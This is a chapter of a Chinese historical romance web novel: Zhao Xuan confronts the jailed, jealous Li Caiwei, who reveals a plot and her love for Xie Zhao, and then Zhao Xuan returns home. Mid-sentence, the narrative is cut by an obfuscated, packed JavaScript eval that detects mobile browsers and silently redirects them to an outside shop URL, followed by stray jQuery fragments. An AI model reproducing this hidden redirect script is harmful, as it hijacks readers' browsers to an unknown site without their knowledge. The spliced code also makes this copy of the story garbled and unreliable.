“我被你害到如此地步,哪里轮到你来惺惺作态!”
素白的面颊上有大片红痕,衣衫破损还耷拉下几片碎布,发髻散乱也斜插着这间牢狱里随处可见的枯黄稻草。
李采薇就站在那扇高高的铁窗之下,地上她的影子也只有一半。
我没理会她的尖锐,看着牢狱里点着的那盏煤油灯,长舒了口气。
“值得吗?”
搭上自己的一辈子,值得吗?
“我早就被你给毁了!”
李采薇踉跄着从牢房的那一头冲过来,双手死死攥着粗糙的栅栏,那双通红的眼直勾勾地盯着我,“赵谖,我同你比,到底差了什么!”
“你这样的人,才该被踩进烂泥里,永生永世都抬不起头!”
阴暗恶毒的心思从她齿缝里厮磨涌出,争相化作最尖锐的毒箭朝我袭来。
我始终不知,她对我的敌意从何而来。
她与我初见时,就闹得不愉快,但因此心生厌恶到如此地步,不可能。
“我与你并非一同长大。在你父亲进京入职前,甚至是南风宴会之前,你我二人也并无交集。更何况京中世家贵女数不甚数,我父亲声名狼藉,我的名次做不得数。”
“就算京中有人常提及我,但也是嘲讽居多。”
“若论画技,你师从黎老前辈,少年成名,那幅蜀地流云图天下谁人不知?”
“李采薇,你为何非要同我比?”
她试图越过栅栏来抓我的衣领,门上的铁链因为她的动作碰撞碾磨,发出刺耳的声音。她的指甲上还残留着凤仙花液的颜色,白嫩如藕段的小臂卡在缝隙里,却笔直地往前伸着。
我这才发现她被鞭笞过。
“为何非要同你比?”
她冷静了些,语气却还是阴森地让人想打寒噤,
“我生在江南,长在西郡,自我懂事起听得最多的名字却是你的。明明帝京城和西郡隔得那么远,明明西郡的女儿家我当数第一,可为何满郡讨论的都是你?”
她说着说着竟有些呆滞,眼神空洞地像是想要抓住虚无缥缈的东西,
“你的相貌,你的才情,你的兄长,你的外公。可你父亲是人人喊打的当朝首辅,你这样的家世凭什么能得到别人的艳羡?到底凭什么!”
“后来我父亲上京任职,正好赶上你画出锦绣山河图惹得万人艳羡。但京城中的人提及你,不提你的相貌才情,她们只提及你父亲。”
她忽又笑了,左边脸颊上有一个浅浅的酒窝,
“再后来,我废了万般力气才刚画出蜀地流云图,可我的名字帝京城都还没穿遍,你就在南风宴上大出风头。”
像是梦中呓语,她把这些根源同我讲了个明白,“你画的柳眉弯被人用万两金买了去……”
“你知道是谁买的吗?”
她收回手,把荡到眼前的长发拨到耳后,自嘲道:“是谢昭。”
“谢衔青……”
“你的那幅画儿就挂在他的书房!”
万般逃不过,情爱二字而已。
眼前这个女子,脆弱地不堪一击,却同我那时一样,硬生生地撑着自己不表露出胆怯的模样。
我往前走了一步,伸出手正好能够握住她攥着栅栏的手。
“不值得。”
她挣扎着想要摆脱,却被我紧紧控制得没松动一分,我身上还穿着宫女制式的粉色袄裙,叹了口气道,“我们都省点儿力气吧。”
她对我的话置若罔闻,弓着身子拼命想要缩回手,当初是我避她如蛇蝎,如今倒是换了。
“我今日来,是替你兄长来看看你。”
我任由她挣开我的手,却也没留给她喘息的时间,“你当真还要如此浪费时间?”
她瞬时睁大眸子,满脸不可置信,退了几步的身子又着急地贴过来。
“陛下没有卸了你兄长的职,没有下旨封了你父亲的宅邸,没有深究你父亲的过错。”
我深吸了一口气,尽量把话说得平稳,“你这一辈子还没有结束。”
“可你偏偏受人蛊惑设下埋伏,却又不知遮掩,才把事情推到如今这般不可挽回的地步。”
“你兄长领的是陛下的命令,那你呢?”
我这人确实不厚道,喜欢火上浇油,
“你读书识字,本该知善明理,可你既分不清对错,更看不清去路。你只想让我的谋算落空,想让我跌进淤泥再难翻身。”
“可你想没想过你兄长若是行差踏错便是性命难保,想没想过你母亲失了夫君再失儿女又该如何自处,想没想过受过家族恩惠的你在落魄后该以己之身撑起整个家族?”
“我告诉你,你和我比,就差在这里。”
好想伸手替她抚平眉心的褶皱,可我终究不是什么良善之人,我没有那么多的耐心和时间来倾听安慰她的自责和后悔,
“李采薇,情爱二字,不在恰当的时机,那就是累赘。”
“既是累赘,就该舍弃。”
我不想放过她,又往前走了一步,看着她渐渐塌下去的肩膀,又往她的心口狠狠扎上了一刀,
“皇后被情爱二字困住了一生,对不起所有人,唯独对得起她的夫君。可是她的夫君,对不起她。”
我强势地拽住她的手,把她往我身前拽,冰凉还带着倒刺的粗木栅栏此刻更像是她保护伞,
“所以我问你,值得吗?”
“你所做的这一切!值得吗!”
犹如受惊的小鹿,那双眼睛缀满泪,好比夏日倾盆雨下。
“不是的,不是的……我只是想拦住那辆马车,只是想揪住你的错处。”
李采薇颓然无措就来拉我的手腕,我被她带着一同滑坐下去,她的目光悠远,呢喃着,
“我不知道为什么那些人全都像得了失心疯一样,我根本控制不了他们……他们杀红了眼,甚至连我也想杀……”
“是有人给我送信!是皇后!”
她的身体猛地缩成一团,声音却突然拔高,“她说只要你活着,只要你还在,表哥就永远不会属于我!”
她紧紧盯着我,却好像在透过我看另一个人,嘴角甚至扯出一抹温存的笑,
“你知道的,贵妃娘娘放弃了我父亲,我和表兄之间……没有可能了。可是为什么你可以,凭什么你可以?他是那么一个理智清醒的人,可他为了你什么都能做……”
她颤抖着想要把所有的苦楚都从内里翻出来,可脸上却是用柔和爱意堆砌出来的笑,
“他知道兄长一箭射伤你,冷漠地给兄长用了最烈的药,兄长的伤口足足溃烂了半个多月。”
“他也明明知道江南水患是扳倒赵家最好的一步棋,可他偏要纵容宋家那小子给你传递消息,费尽心机地把你从京城的虎狼窝里骗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689330|144358||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出来,放在自己眼皮子底下才安心。”
“你夜扣宫门,他明明自身难保却还是不管不顾地冲进太和殿……你被贵妃娘娘刁难,他也敢把你护在身后……”
“你的一滴泪,比淬了毒的箭还要狠!你就只管往他心上插刀,可是他……甘之若饴。”
她的声音越说越小,几滴眼泪砸在我的手背上。
这些我不知晓的往事压得我喘不过气来,地砖的凉意随之渗透进骨头缝里,更是让我难以忍受。我盲目地张了张嘴,却发不出一丝声音。
我和谢昭上一次见面,我把他的自尊踩在脚底下,想要和他断得干净彻底。我曾以为我辜负他,是阴差阳错,是万般不得已。
如今看来,我应是那个翻脸不认人,吃人不吐骨头的白眼狼。
“赵谖,你告诉我……”
她猛吸了一口气,拉着我的手腕想把我往里拽,“我到底做错了什么?”
“因为他不爱我,所以你想说我做的一切都不值得,是不是?”
“你凭什么来定义我?”
她盯着我,一只手缓慢地掐住我的脖颈,强硬地和我刚刚的态度如出一辙,
“你这样的人,把别人的真心糟蹋地一文不值,装得高高在上,用你可恶的人生观来怜悯我,感悟我?”
指腹干涩,摩挲着我的肌肤,我忍不住起了一身鸡皮疙瘩。她的眼眶通红,声嘶力竭地叫嚣着,试图把我拉进她苦痛的人生。
我不愿意。
我这一辈子,欠的债太多了,我要是样样都想还,倒不如死了一了百了。
“李采薇。”
我仰着头,实在是没什么力气同她纠缠,“疯够了,就该低头了。”
“你已经疯得太久了。”
“再疯下去,就真的什么都没有了。”
掐在我的脖子上的手渐渐失了力道,她的瞳孔也逐渐涣散。
她比我更清楚,只不过是她不想我好过而已。
——
周闻安真是认死理,我让他在家等我,他果真就站在门前,那眉蹙得能堆成小山丘,活像凶神恶煞的守门神。
“周闻安。”
“嗯。”
他从怀里掏出一个油纸包递给我,里面的酥油烧饼温热,全都是他残留的体温。
我咬了一口,是我喜欢吃的芝麻糖陷儿。
我鼻子一酸,看来真的是饿狠了。
“周闻安。”
他低着头没来看我,只是帮我打开半掩的门:“我知道。”
穿过庭院,还不算灼热的阳光笼罩下来,空气中细密的尘埃无所遁形。
外公想来去了书院,贾叔一个人在院子里清扫零落的断枝落叶,我趁着他背身,赶忙闪进了内院。
春秧不知道从哪里翻出一只蝴蝶样式的纸鸢,边角有些破损。
她正拿着浆糊和彩纸左右填补,见了我,赶忙撂下手里的活计迎上前来。
“老太爷一早过来问小姐怎么还没起床。”
她着急忙慌地给我掸灰,却也不忘邀功,眉眼弯弯,“我说小姐昨晚绣荷包忙到后半夜,今早起不来床。”
连春秧都长大了,但我其实不想让她长大的。
我看着她,彷佛看到自己曾经的样子,这一瞬,突然就理解了外公和兄长的心情。
“过些日子,我陪你去西郊放风筝。”